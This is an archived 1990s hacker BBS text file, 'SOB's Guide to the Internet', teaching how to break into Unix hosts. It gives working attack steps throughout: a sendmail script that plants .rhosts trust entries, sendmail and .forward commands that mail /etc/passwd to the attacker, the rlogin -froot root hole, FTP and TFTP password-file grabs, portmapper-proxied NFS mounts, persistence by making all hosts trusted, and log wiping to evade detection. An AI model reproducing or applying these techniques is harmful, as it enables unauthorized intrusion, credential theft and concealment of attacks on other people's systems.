home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / internet / sobinet.doc < prev    next >
Encoding:
Text File  |  1990-07-31  |  11.0 KB  |  261 lines

  1.  
  2.  
  3.       _________________ __________/\         ________      .__    .___
  4.      /   _____/\_____  \\______   )/______  /  _____/ __ __|__| __| _/____
  5.      \_____  \  /   |   \|    |  _//  ___/ /   \  ___|  |  \  |/ __ |/ __ \
  6.      /        \/    |    \    |   \\___ \  \    \_\  \  |  /  / /_/ \  ___/
  7.     /_______  /\_______  /______  /____  >  \______  /____/|__\____ |\___  >
  8.             \/         \/       \/     \/          \/              \/    \/
  9.                         __             __  .__
  10.                       _/  |_  ____   _/  |_|  |__   ____
  11.                       \   __\/  _ \  \   __\  |  \_/ __ \
  12.                        |  | (  <_> )  |  | |   Y  \  ___/
  13.                        |__|  \____/   |__| |___|  /\___  >
  14.                                                 \/     \/
  15.                .___        __                              __
  16.                |   | _____/  |_  ___________  ____   _____/  |_
  17.                |   |/    \   __\/ __ \_  __ \/    \_/ __ \   __\
  18.                |   |   |  \  | \  ___/|  | \/   |  \  ___/|  |
  19.                |___|___|  /__|  \___  >__|  |___|  /\___  >__|
  20.                         \/          \/           \/     \/
  21.  
  22.                                 By Syncomm [SOB]
  23.  
  24. "If god wanted the net to be secure he would have given it more Dan Farmers..."
  25.   -Syncomm
  26.  
  27. -()- Introduction... -()-
  28.  
  29.  The Internet is an immense place full of many kinds of sites that people used
  30. to spend whole lives scanning for the dialups to... It is also a foolish place
  31. full of bugs and careless sysadmins. One thing about Internet is certain... it
  32. is a one of the best places to hack!
  33.  In this doc I'm not going to give you a STEP BY STEP guide on hacking out
  34. the interesting things you find on the "Information Super-Highway" (tm), due to
  35. the fact that hacking on the Internet can be an extremely entailing process... I
  36. will however take a look at some of the major bugs and allot of maneuvers that
  37. can still be used to attack most places on the net...
  38.  
  39. -()- A VERY Brief History... -()-
  40.  
  41.  In the beginning the fools at the US Government made a big nationwide
  42. network. This in the end grew so large it split into two networks ARPANET and
  43. MILINET. ARPANET was dedicated to scientific research and Milinet was dedicated
  44. to the communication of military sites... Later thousands of other networks
  45. joined and the internet was born... 
  46.  
  47. -()- The Legacy of RLOGIN -()-
  48.  
  49. "RLOGIN must have been designed by a hacker..." Crypt Keeper [SOB], P/S
  50.  
  51.  One of the easier ways of getting an account on a remote system is to RLOGIN
  52. into it... if your system is trusted you can get in without a passwd (A
  53. lightbulb goes off in an empty skull somewhere...) The way to get a trusted
  54. account is to have your site listed in a users .rhosts file, or in the
  55. /etc/hosts.equiv in a format like this...
  56.  
  57. %cat .rhosts
  58. gnu.ai.mit.edu +
  59. %
  60.  
  61.  The "+" designates this as a trusted site and it doesn't require a passwd
  62. when someone from the mentioned system logs into that account from a remote
  63. site.
  64.  When you do get on a system I suggest you see what .rhosts files you have
  65. access to with the command...
  66.  
  67. %find / -name .rhosts -exec /bin/cat {} ";"
  68.  
  69.  That will give you a long list that you may want to edit in the future to
  70. "ensure" your access to the system. A good idea is to add a plus sign to the
  71. /etc/rhosts.equiv file to make ALL hosts trusted, you should do this immediately
  72. after you gain root privileges.
  73.  
  74.  One technique to make an .rhosts file on a remote site involves sendmail.
  75. Example:
  76.  
  77. %cat evil
  78. # Evil Sendmail Script
  79. telnet site.name.com 25 << EOSM
  80. rcpt to:/home/name/.rhosts
  81. mail from: r3w+
  82. data
  83. (garbage)
  84. .
  85. rcpt to: /home/name/.rhosts
  86. mail from:r3w+
  87. data
  88. yoursite.name.com +
  89. .
  90. quit
  91. EOSM
  92.  
  93. %/bin/sh evil
  94. Trying 666.666.666.1
  95. Connected to satan.com
  96. Escape character is '^]'.
  97. Connection closed by foreign host.
  98.  
  99. %rlogin site.name.com -l account name
  100.    -*- Welcome to satan.com -*-
  101. satan%
  102.  
  103. This trick works on all Sendmail previous to 5.59 from Berkeley.
  104.  
  105.  Another trick involving sendmail is to telnet to the site saying the mail is
  106. from "|/bin/echo "yoursite.name +" > /etc/hosts.equiv".
  107.  
  108. AIX and Linux can sometimes be exploited with a HUGE rlogin hole which has been
  109. patched on most systems. The format is:
  110.  
  111. %rlogin site.name.com -l -froot
  112.    -*- Welcome to site.name.com -*-
  113. site%tprof -x /bin/sh
  114.  
  115. This will give you root and allow you to edit all files.
  116.  
  117.  You may also want to take a look and make sure the system doesn't have an
  118. unpassworded "RSH" or remote shell... I found a few systems that I was able to
  119. RSH into and snoop around gathering information that helped me hack it in the
  120. future.
  121.  
  122. -()- FTP and TFTP -()-
  123.  
  124.  File Transfer Protocol has been long abused to get passwd files from hosts...
  125. an old bug that still pops up occasional is "ftp -n".
  126.  
  127. %ftp -n
  128. ftp> open site.name.com
  129. Connected to site.name.com
  130. 220 site.name.com FTP server ready.
  131. ftp> quote user ftp
  132. 331 Guest login okay, send ident as password.
  133. ftp> quote cwd ~root
  134. 530 Please send login with USER and PASS.
  135. ftp> quote pass ftp
  136. 230 Guest login okay, access restrictions apply.
  137. ftp>
  138.  
  139. If this works you are in as root and can modify all directories and files.
  140.  
  141.  Another FTP trick is to login as "anonymous" or "ftp" then send a file called
  142. .forward to the directory. The .forward file should contain "|/bin/mail
  143. you@yoursite.com < /etc/passwd". Now mail a letter to "ftp" or "anonymous"
  144. and you get the passwd file in your mailbox.
  145.  
  146. TFTP also has a huge bug on some systems. You almost never see this bug
  147. these days... but you never know! 
  148.  
  149. %tftp site.name.com
  150. tftp> get /etc/passwd
  151.  
  152. This will get you the actual passwd files on some systems...
  153.  
  154. -()-X Windows-()-
  155.  
  156.  X Windows is a big risk due to the fact they can be monitored remotely... take
  157. a look at the xwatch.sh file that SHOULD have come with this doc...
  158.  
  159. -()- Sendmail -()-
  160.  
  161.  Alot of versions before sendmail 5.59 had a bug in which you could specify your
  162. name as a "|" then a command... such as
  163.  
  164. mail from: "|/bin/mail you@your.site.name < /etc/passwd"
  165.  
  166.  Sendmail can also be helpful for finding users on a system with the  'expn' and
  167. 'vrfy' command as follows...
  168.  
  169. %telnet target.com 25
  170. Connecting to host target.com (666.666.666.1), port 25
  171. connection open
  172. 220 target.com Sendmail 5.5/target ready at Sun, 7 July 94 18:00 PDT
  173. expn decode
  174. 250 <"|/usr/bin/uudecode">
  175. quit
  176.  
  177. Finding the mail alias "decode" can provide you with a nice bug... with decode
  178. you can add a site name to nearly any account (depending on who owns the decode
  179. account) Ex.
  180.  
  181. % echo "your.site.name" | uuencode /home/idiot/.rhosts | mail decode@target.com
  182.  
  183. -()- NIS -()-
  184.  
  185.  NIS, NFS, and almost every other form of RPC is plagued with bugs... With the
  186. proper tools almost anyone can get a passwd file from a system running NIS. The
  187. popular way is to use YPX (tm) which should have come with this doc. There are
  188. other better tools such as RPCToolKit and NFS (by Leendert) which allow an
  189. easier handling of sites running RPC.
  190.  One important thing to note is that the directory /var/yp contains the domain
  191. name of host. So if the director /var/yp is world readable or if /var is
  192. exported then you have the domain name.
  193.  Normally, a remote (network) file system is mounted by requesting the
  194. mount demon on the machine on which the file system resides to perform
  195. a mount RPC. The result of this RPC is the file handle of the root of
  196. remote file system. As a security measure the mount demon checks the
  197. source machine of the request against a list of allowable machines
  198. (this list is found in /etc/exports). If the requester's machine is not
  199. in the export list, the mount RPC will of course fail. One could argue
  200. against the fitness of this security approach, but in common day practice
  201. it seems sufficient.
  202.  However, a special feature of the portmapper (alias rpcbind)allows you to
  203. circumvent this check. The portmapper provides an indirect(or proxy) RPC
  204. service. This service is very simple, in that respect that you provide the
  205. parameters of the RPC, send them to the portmapper and it will make the RPC call
  206. for you. This feature, as you by now probably have guessed, allows you to
  207. perform indirect RPC mount calls. Since the source of the request (in the mount
  208. demon's point of view) is his local machine such a request is often granted.
  209. This will only work if the local machine is mentioned in the export list for its
  210. own exportable file systems, but with netgroup facilities this is often the
  211. case.
  212.  Note that when the mount call succeeds, we have a handle of the remote
  213. file system and there is no stopping us. Using this file handle we
  214. can perform NFS requests by directly addressing the remote NFS server.
  215. There is no need to do this through the portmapper as well since the
  216. NFS server doesn't do any further check if the requester can provide
  217. a good file handle. This gives us the advantage to provide our own Unix
  218. authentication information (something that can't be done using the
  219. portmapper's indirect RPC feature). This way it becomes possible to
  220. set the Unix user id.
  221.  Both the portmapper bugs are used in Leendert's program NFS, so may be patched
  222. on some systems.
  223.  
  224. -()- Evasion -()-
  225.  
  226.  It alwayes has been a good idea to erase your tracks on a remote host... a
  227. simple way to get yourself out of the system logs (ie. the UTMP, WTMP, syslog,
  228. etc.) is to use a program called ZAP, which AGAIN should be included with this
  229. doc. NOTE: You must be root to use this program.
  230.  
  231. Be on the lookout for updates to this file on the following BBSs:
  232.  
  233.                      ___                            ___
  234.   :              ___/  /\                          /\  \___
  235.              ___/  /  / _\________________________/_ \  \  \___          :
  236.   |      ___/  /  /  / /_                           \ \  \  \  \___
  237.  _|_____/  /  /  /  / //      SOB MEMBER BOARDS      \ \  \  \  \  \_____|_
  238. /______/__/__/__/__/ /________________________________\ \__\__\__\__\______\
  239. \      \  \  \  \  \ \________________________________/ /  /  /  /  /      /
  240.  \______\__\__\__\__\/                                \/__/__/__/__/______/
  241.   :                                                                      :
  242.   !       Utopia             -*SOB WORLD HQ*-           (210) PRI-VITE   !
  243.   |   Social Deception         -*SOB USHQ*-             (606) 261-3442   |
  244.   | Arrested Development    -*SOB Holland HQ*-           +31-77-547477   |
  245.   |   Lucid Nightmare       -*SOB Eastern HQ*-          (703) 758-1655   |
  246.   | Celestial Woodlands      -*SOB Dist. S.*-           (409) 764-2843   |
  247.   !    Purple Hell           -*SOB Dist. S.*-           (806) 791-0747   !
  248.   |   Paradise Lost          -*SOB Dist. S.*-           (414) 476-3181   |
  249.   |  Cyberspace.net       -*SOB I-Net Dist. S.*-           /pub/SOB      |
  250.   :__________________                                  __________________:
  251.  /      /  /  /  /  /\________________________________/\  \  \  \  \      \
  252. /______/__/__/__/__/ /________________________________\ \__\__\__\__\______\
  253. \______\  \  \  \  \ \                              _ / /  /  /  /  /______/
  254.   |     \__\  \  \  \ \                             // /  /  /  /__/     |
  255.   :         \__\  \  \ \____________________________/ /  /  /__/         :
  256.                 \__\  \  /                        \  /  /__/
  257.                     \__\/                          \/__/
  258.  
  259.  
  260.  
  261.